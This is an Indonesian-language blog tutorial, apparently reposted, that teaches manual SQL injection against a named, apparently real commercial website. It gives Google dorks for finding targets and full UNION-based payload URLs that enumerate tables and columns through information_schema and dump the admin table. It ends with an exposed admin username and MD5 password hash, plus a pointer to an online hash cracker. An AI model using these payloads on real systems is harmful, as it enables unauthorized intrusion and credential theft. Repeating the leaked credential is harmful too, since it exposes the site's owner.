Tuesday, 12 November 2013

Belajar SQLI Manual

,
Oke saya akan memberikan Tutorial tentang SQLI Secara Manual .
Siapkan Google Dork terlebih dahulu.
Oke , saya sudah mempersiapkan Google Dorknya untuk Anda
  1. inurl:index.php?id=
  2. inurl:article.php?ID=
  3. inurl:games.php?id=
  4. inurl:newsDetail.php?id=
  5. inurl:gallery.php?id=
  6. inurl:products-details.php?cid=
Saya menggunakan dork inurl:products-details.php?cid= dan saya sudah mendapatkan target untuk sebagai bahan percobaan , ini dia targetnya http://www.speedwerx.com.au/products-details.php?cid=&pid=12
Untuk mengecek website itu mempunyai bug atau tidak dengan cara memasukan ( ' )
Contohnya : http://www.speedwerx.com.au/products-details.php?cid=&pid=12' 
Ternyata website itu mempunyai BUG , muncul pesan error seperti ini :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND f.id = a.user_id' at line 3

Tapi untuk target kali ini tidak muncul pesan tersebut .

Setelah kita menemukan error tadi, langkah selanjutnya kita harus mencari columnnya.
Gunakan perintah "+order+by+1--"
contoh : http://www.speedwerx.com.au/products-details.php?cid=&pid=12+order+by+1--

Pertama kita mulai dengan angka 1 , dan seterusnya sampai kita menemukan error lagi
http://www.speedwerx.com.au/products-details.php?cid=&pid=12+order+by+8--

Pada angka 8 , muncul pesan error : "Invalid SQL: SELECT * FROM article WHERE id = 12 order by 8-- AND status = 1
MySQL Error: 1054 (Unknown column '8' in 'order clause')
Session halted."


Jadi angka yang diambil adalah 8-1 = 7 , berarti jumlah column yang kita ambil adalah 7. Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah [union+all+select]
Contoh :
http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,4,5,6,7--

Tambahkan tanda ( - ) didepan angka cid , jadi seperti ini -12

Misalnya muncul "angka ajaib" : 1 atau 2 atau 3. Kita pilih salah satunya saja. Kebetulan pada target tersebut munculnya angka 4 saja.


Selanjutnya kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 4 (Angka Ajaib)
Contoh :
http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,version(),5,6,7--

Waahh , muncul tulisan berikut : 5.5.32-31.0 (Versi Database MySQL)

ternyata versi 5, versi 5 lebih mudah. Kalau targetnya mempunyai database MySQL versi 4, yang kita lakukan yaitu menebak-nebak tablenya.
Selanjutnya kita akan mencari table-nya dengan perintah [group_concat(table_name)] pada salah satu angka ajaib. Dan tambahkan [+from+information_schema.tables+where+table_schema=database()--] di belakang angka 12
Nah ini contohnya :

Akan muncul nama-nama tablenya :
tbl_accesslevels,tbl_admin,tbl_category,tbl_country,tbl_image,(masih banyak lagi)

Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password admin, kita ambil tbl_admin
sebelumnya kata "tbl_admin" tersebut kita convert dulu ke HEXA agar dapat dibaca oleh SQL di sini : http://snarkles.net/scripts/sneak/sneak.php

Hasilnya : 74626c5f61646d696e

Perintah selanjutnya adalah [group_concat(column_name)] pada angka ajaib dan [+from+information_schema.columns+where+table_name=0xHEXA--] di akhir URL.
Ganti HEXA dengan hasil convert tadi yaitu : 74626c5f61646d696e tambahkan 0x didepan HEXA agar server dapat mengetahui bahwa itu telah diconvert ke HEXA
Seperti ini :
http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_name=0x74626c5f61646d696e--

Taraa,muncul column :
id,username,password

Untuk melihat isi dari column tersebut gunakan perintah [group_concat(column5,0x3a,column6)] pada angka ajaib 5 dan [+from+NAMATABLE--] pada akhir URL.
Ganti column5 dengan "username" dan column6 dengan "password" 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke HEXA. NAMA TABLE diganti dengan "tbl_admin" untuk mengambil informasi dari table yang bernama "tbl_admin"
Seperti ini :
http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,group_concat(username,0x3a,password),5,6,7 from tbl_admin--

We O We :D , Dapat hasilnya yaitu : admin:64eeb794076e6f2ba7436430ca09d157

Password tersebut masih berbentuk hash dan harus di decrypt dulu. Kita bisa decrypt di http://md5decrypter.co.uk


Content editor : Muhammad Taregh Azzis
Sumber : http://cahmuncar.blogspot.com/2013/05/tutorial-sql-injection-secara-manual.html

4 komentar to “Belajar SQLI Manual”

  • 12 November 2013 at 20:02
    Unknown says:

    bagus gan websitenya

  • 12 November 2013 at 20:09

    hehe , makasih :)

  • 12 August 2016 at 19:10
    Nani!! says:

    mantab gan thx

  • 29 May 2019 at 04:43
    Pianudin says:

    makasih bro atas tutorialnya

Post a Comment

 

FurutaWashuu Blog Copyright © 2011 -- Template created by O Pregador -- Powered by Blogger Templates